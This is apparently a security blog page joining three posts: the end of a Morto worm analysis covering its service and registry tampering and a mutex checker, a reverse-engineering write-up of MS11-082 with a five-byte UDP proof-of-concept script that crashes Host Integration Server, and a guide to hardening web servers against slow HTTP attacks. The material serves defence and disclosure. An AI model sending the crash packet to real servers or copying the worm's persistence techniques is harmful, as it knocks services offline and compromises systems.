Figure 8: Malicious service 6to4

 

Before the potential payload (DLL c:\windows\temp\ntshrui.dll) gets executed, the loader still changes some configuration on the service Sens, which is responsible for monitor system events [9], loader will first copy the valid file c:\windows\system32\sens.dll to c:\windows\system32\Sens32.dll, change HKLM\SYSTEM\CurrentControlSet\Services\Sens\DependOnService to NULL and HKLM\SYSTEM\CurrentControlSet\Services\Sens\Group to SchedulerGroup, and finally lastly modify the parameter stored at HKLM\SYSTEM\CurrentControlSet\Services\Sens\Parameters\ServiceDll to c:\windows\system32\sens32.dll. This service might be used later by the payload.

 

Looking at ntshrui.dll, it is clear how the payload is executed: Morto checks if the calling process is svchost.exe and, if so, another part of the plain code is called and a thread is created pointing to the real payload.

 

Morto Variant

MD5    4a15bb80d860afff0164baa7bf99285c
SHA1   3d2704e55637bf8460d3e16ac5bacd71b2d18a45

 

There was a rumor about a new Morto variant [11], we executed and analyzed it but concluded it is innocuous since it does not perform any change on the system, nor any network activity. Also, the malware does not check if it is running on a virtual environment or any other thing that would make it not execute. Probably, it was considered a possible Morto variant for two reasons:

 

  • It creates a Mutex object [12], which is commonly used by malware to check if a machine has been already infected, with the name “_MOTOCCATK_”. Figure 9 shows assembly code responsible to create Mutex.

 


Figure 9: Mutex

 

  • It reads contents from the HKLM\SYSTEM\WPA registry key which is used by Morto. Figure 10 shows Morto variant reading the registry key HKLM\SYSTEM\WPA.

 


Figure 10: Morto variant reading registry key

 

Then, we developed a little tool named check_mutex.exe which helps detect malware that uses mutex. Basically, once a malicious mutex is known, just run check_mutex.exe passing the malicious mutex name as a parameter, and it will check if a process is running with the given mutex name, and if so, it will display its process ID. Then, even though Morto variant does not attempt to harm the system, we put a breakpoint after a call is made to CreateMutexA function and executed check_mutex on the system to make sure it is working properly. Figure 11 shows check_mutex in execution.

 


Figure 11: check_mutex

 

Thanks to ISC Handlers who provided us sample for analysis. Thanks to @Ivanlef0u who developed code to list handles, and made it public, which helped a lot on check_mutex development. 

 

Conclusion

Despite its interesting payload, the way Morto is executed is also very interesting. First, placing a malicious DLL into %SystemRoot% directory and calling the valid executable regedit.exe instead of a malicious executable is an interesting choice of execution, probably designed to bypass malware detection algorithms. Second, the way that it executes regedit.exe is uncommon, most likely used to avoid detection as well. Third, it uses another malicious DLL as a service to get it executed. In conclusion, as malware evolves we need to make sure protection mechanisms are in place to detect such behaviors, not only analyzing its payload but also how it gets executed. This will allow us to develop mechanisms to defend against these threats independently of its activities.

 

References

 

[1] http://www.f-secure.com/v-descs/worm_w32_morto_a.shtml
[2] http://www.microsoft.com/security/portal/Threat/Encyclopedia/Entry.aspx?Name=Worm%3AWin32%2FMorto.A
[3] http://blogs.technet.com/b/mmpc/archive/2011/08/29/more-on-morto.aspx
[4] http://msdn.microsoft.com/en-us/library/ms682586(VS.85).aspx
[5] https://blog.mandiant.com/archives/1207
[6] http://nakedsecurity.sophos.com/2011/08/30/morto-rdp-worm-of-death/
[7] Sysinternals - http://technet.microsoft.com/en-us/sysinternals/bb545021
http://community.websense.com/blogs/securitylabs/archive/2011/09/02/meet-morto-the-magic-worm.aspx?cmpid=sltw
[8] http://www.ollydbg.de/
[9] http://msdn.microsoft.com/en-us/library/aa940303(v=winembedded.5).aspx
[10] http://isc.sans.edu/diary.html?storyid=11452
[11] http://isc.sans.org/diary/More+RDP+Worm+Variants+/11563
[12] http://msdn.microsoft.com/en-us/library/windows/desktop/ms684266(v=vs.85).aspx
http://blog.spiderlabs.com/2011/09/morto-more-than-meets-the-eye.html
http://contagiodump.blogspot.com/2011/08/aug-28-morto-tsclient-rdp-worm-with.html
http://www.f-secure.com/weblog/archives/00002227.html

0

On October’s Patch Tuesday 2011, Microsoft released Security Bulletin MS11-082 to fix “Access of Unallocated Memory DoS Vulnerability” within Microsoft Host Integration Server. According to the security advisory, a remote, anonymous attacker who exploited this vulnerability could cause the affected system's SNA Server service to stop responding to new requests. This is caused because the snabase.exe crashes and also kills snarpcsv.exe and mngagent.exe due to the dependencies between them.

 

To get a better understanding of the cause of this vulnerability, we have reverse engineered the affected server and found the condition that triggers the DoS. This article also has a short Python PoC which uses CVE-2011-2008.

 

1. Vulnerability Analysis and exploit conditions

 

The Host Integration server snabase.exe listens on UDP port 1478 or TCP ports 1477 and 1478.  Figure 1 shows the code path that it takes when a UDP packet is received and EAX points to the received packet. At location 01029B73, the server moves the third byte  (EAX+2) to ECX and then compares it with different values. If the value is greater than 5 the code jumps to 01029EAC. If the value is equal to 5 it jumps to 01029E77. The value can now only be in range 1-4 at 01029B90. Next it decrements the value by 1, step by step, to check if it is 1 , 2, 3 or 4. This is a typical switch statement which compares the value and calls different handlers. The compiler replaces the switch statement with the sub/dec instructions to optimize the program execution.

 


Figure 1: Switch statement to handle the third byte.

 

For a successful exploit there are two conditions that need to be satisfied. The first condition is that the third byte is 0x1. The execution will then goto 01029C42 and then 0101F99D.

 

The 4th and 5th bytes of the packet contain the “entries” in this message. The server reads the values and then checks these entries one by one in a loop. But if the server was told that there are more than 0x4B entries then the server will try to access memory locations that are not allocated resulting in the process getting terminated. This is the second condition that should be satisfied for a successful exploit. The number of entries must be greater than 0x4b.

 


Figure 2: The checking for number of entries.

 

2. Exploit

 

For the PoC both the conditions as stated above need to satisfied which just takes 5 bytes. What we need is to set the 3rd byte to 0x1 and then set 4th and 5th byte greater than 0X4B. The first and second byte does not affect our exploit, so any value will work. The Python script should like this:

 

#!/usr/bin/python
import socket, sys
from struct import pack
target = sys.argv[1]
port = int(sys.argv[2])
request = "\x00\x00\x01\x4C\x00"
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
    print "[+] Sending request"
    s.sendto(request, (target, port))
except:
print "[X] Unable to connect to %s" % target

 


Figure 3: Accessing unallocated memory (Process dies)

 

3. How does the Patch Fix this issue?

 

By using binary diff tool we can see that the patch added a new verify function at 67481133:

 

 

The function takes the length and address of the UDP package as parameters.

 


Figure 4: The checking for number of entries.

 

 

The packet will be considered as invalid unless the function 67480AE6 returns 0 (return value is stored in EAX). This function first checks the length of the UDP packet. It return error(EAX not 0) if the length is less than 3. Then there is another switch statement on the third byte of the packet.

 


Figure 5: The checking for number of entries.

 

If the third byte is 0x1 the function jumps to 67480B3F. The value at dwEnableTraces is always 0x6. This means that the patch will drop all packets whose third byte is 0x1. My guess is that this is a temporary fix from Microsoft.  EAX will set to 0 at 67480B46 and jump to 67480BE4. At 67480B46 the program will increase EAX by 1 before return and in this way sanitize the input before calling the function that crashed earlier.

 

Conclusion

 

The Host Integration Server will crash when a remote attacker sends 5 bytes of malicious UDP packet. There are also other vulnerabilities fixed by MS11-082 which are not analyzed in this article. We recommend customers to scan their environment for QID 90748 and apply this security update as soon as possible.

3

Slow HTTP attacks are denial-of-service (DoS) attacks in which the attacker sends HTTP requests in pieces slowly, one at a time to a Web server. If an HTTP request is not complete, or if the transfer rate is very low, the server keeps its resources busy waiting for the rest of the data. When the server’s concurrent connection pool reaches its maximum, this creates a DoS. Slow HTTP attacks are easy to execute because they require only minimal resources from the attacker.

 

In this article, I describe several simple steps to protect against slow HTTP attacks and to make the attacks more difficult to execute.

 

Previous articles in the series cover:

 

Protection Strategies

 

To protect your Web server against slow HTTP attacks, I recommend the following:

  • Reject / drop connections with HTTP methods (verbs) not supported by the URL.
  • Limit the header and message body to a minimal reasonable length. Set tighter URL-specific limits as appropriate for every resource that accepts a message body.
  • Set an absolute connection timeout, if possible. Of course, if the timeout is too short, you risk dropping legitimate slow connections; and if it’s too long, you don’t get any protection from attacks. I recommend a timeout value based on your connection length statistics, e.g. a timeout slightly greater than median lifetime of connections should satisfy most of the legitimate clients.
  • The backlog of pending connections allows the server to hold connections it’s not ready to accept, and this allows it to withstand a larger slow HTTP attack, as well as gives legitimate users a chance to be served under high load. However, a large backlog also prolongs the attack, since it backlogs all connection requests regardless of whether they’re legitimate. If the server supports a backlog, I recommend making it reasonably large to so your HTTP server can handle a small attack.
  • Define the minimum incoming data rate, and drop connections that are slower than that rate. Care must be taken not to set the minimum too low, or you risk dropping legitimate connections.

 

Server-Specific Recommendations

 

Applying the above steps to the HTTP servers tested in the previous article indicates the following server-specific settings:

 

Apache

  • Using the <Limit> and <LimitExcept> directives to drop requests with methods not supported by the URL alone won’t help, because Apache waits for the entire request to complete before applying these directives. Therefore, use these parameters in conjunction with the LimitRequestFields, LimitRequestFieldSize, LimitRequestBody, LimitRequestLine, LimitXMLRequestBody directives as appropriate. For example, it is unlikely that your web app requires an 8190 byte header, or an unlimited body size, or 100 headers per request, as most default configurations have. 
  • Set reasonable TimeOut and KeepAliveTimeOut directive values. The default value of 300 seconds for TimeOut is overkill for most situations.
  • ListenBackLog’s default value of 511 could be increased, which is helpful when the server can’t accept connections fast enough.
  • Increase the MaxRequestWorkers directive to allow the server to handle the maximum number of simultaneous connections.
  • Adjust the AcceptFilter directive, which is supported on FreeBSD and Linux, and enables operating system specific optimizations for a listening socket by protocol type. For example, the httpready Accept Filter buffers entire HTTP requests at the kernel level.

 

A number of Apache modules are available to minimize the threat of slow HTTP attacks. For example, mod_reqtimeout’s RequestReadTimeout directive helps to control slow connections by setting timeout and minimum data rate for receiving requests.

 

I also recommend switching apache2 to experimental Event MPM mode where available.  This uses a dedicated thread to handle the listening sockets and all sockets that are in a Keep Alive state, which means incomplete connections use fewer resources while being polled.

 

Nginx

 

lighttpd

  • Restrict request verbs using the $HTTP["request-method"] field in the configuration file for the core module (available since version 1.4.19).
  • Use server.max_request-size to limit the size of the entire request including headers.
  • Set server.max-read-idle to a reasonable minimum so that the server closes slow connections. No absolute connection timeout option was found.

 

IIS 6

 

IIS 7

  • Limit request attributes is through the <RequestLimits> element, specifically the maxAllowedContentLength, maxQueryString, and maxUrl attributes.
  • Set <headerLimits> to configure the type and size of header your web server will accept.
  • Tune the connectionTimeout, headerWaitTimeout, and minBytesPerSecond attributes of the <limits> and <WebLimits> elements to minimize the impact of slow HTTP attacks.

 

What’s Next

 

The above are the simplest and most generic countermeasures to minimize the threat. Tuning the Web server configuration is effective to an extent, although there is always a tradeoff between limiting slow HTTP attacks and dropping legitimately slow requests. This means you can never prevent attacks simply using the above techniques.

 

Beyond configuring the web server, it’s possible to implement other layers of protection like event-driven software load balancers, hardware load balancers to perform delayed binding, and intrusion detection/prevention systems to drop connections with suspicious patterns.

 

However, today, it probably makes more sense to defend against specific tools rather than slow HTTP attacks in general. Tools have weaknesses that can be identified and and exploited when tailoring your protection. For example, slowhttptest doesn’t change the user-agent string once the test has begun, and it requests the same URL in every HTTP request. If a web server receives thousands of connections from the same IP with the same user-agent requesting the same resource within short period of time, it obviously hints that something is not legitimate. These kinds of patterns can be gleaned from the log files, therefore monitoring log files to detect the attack still remains the most effective countermeasure.